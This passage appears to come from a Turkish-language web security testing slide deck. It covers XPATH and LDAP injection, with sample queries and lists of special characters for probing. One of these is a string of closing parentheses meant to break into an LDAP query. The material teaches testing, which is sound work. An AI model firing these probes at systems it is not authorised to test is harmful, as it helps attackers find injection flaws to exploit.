  328. 328. XPATH Injection Saldırıları XML Path Language (XPATH) XPATH Sorgu Örneği: • //adres/eposta/text() • //adres[ad/text()='Mehmet'] Test Yöntemi: SQL injection'a benzer şekilde "'" işareti hata doğurursa XPATH injection ihtimali doğabilir. Bunun dışında "[", "]", "(", ")", "/" gibi XPATH için özel karakterler de kullanılabilir.
  329. 329. LDAP Injection Saldırıları Lightweight Directory Access Protocol (LDAP) LDAP Sorgularına Örnekler: • (|(cn=arama_terimi) (sn=arama_terimi) (ou=arama_terimi)) • (&(kullanici_adi=5550000002) (parola=par0la)) Test Yöntemi: LDAP sorgularında özel karakterler fuzzing testlerinde kullanılabilir: ( ) ; , * | & = Çok sayıda parantez işareti LDAP sorgusuna müdahale edebilmek için kullanılabilir "))))))))"

×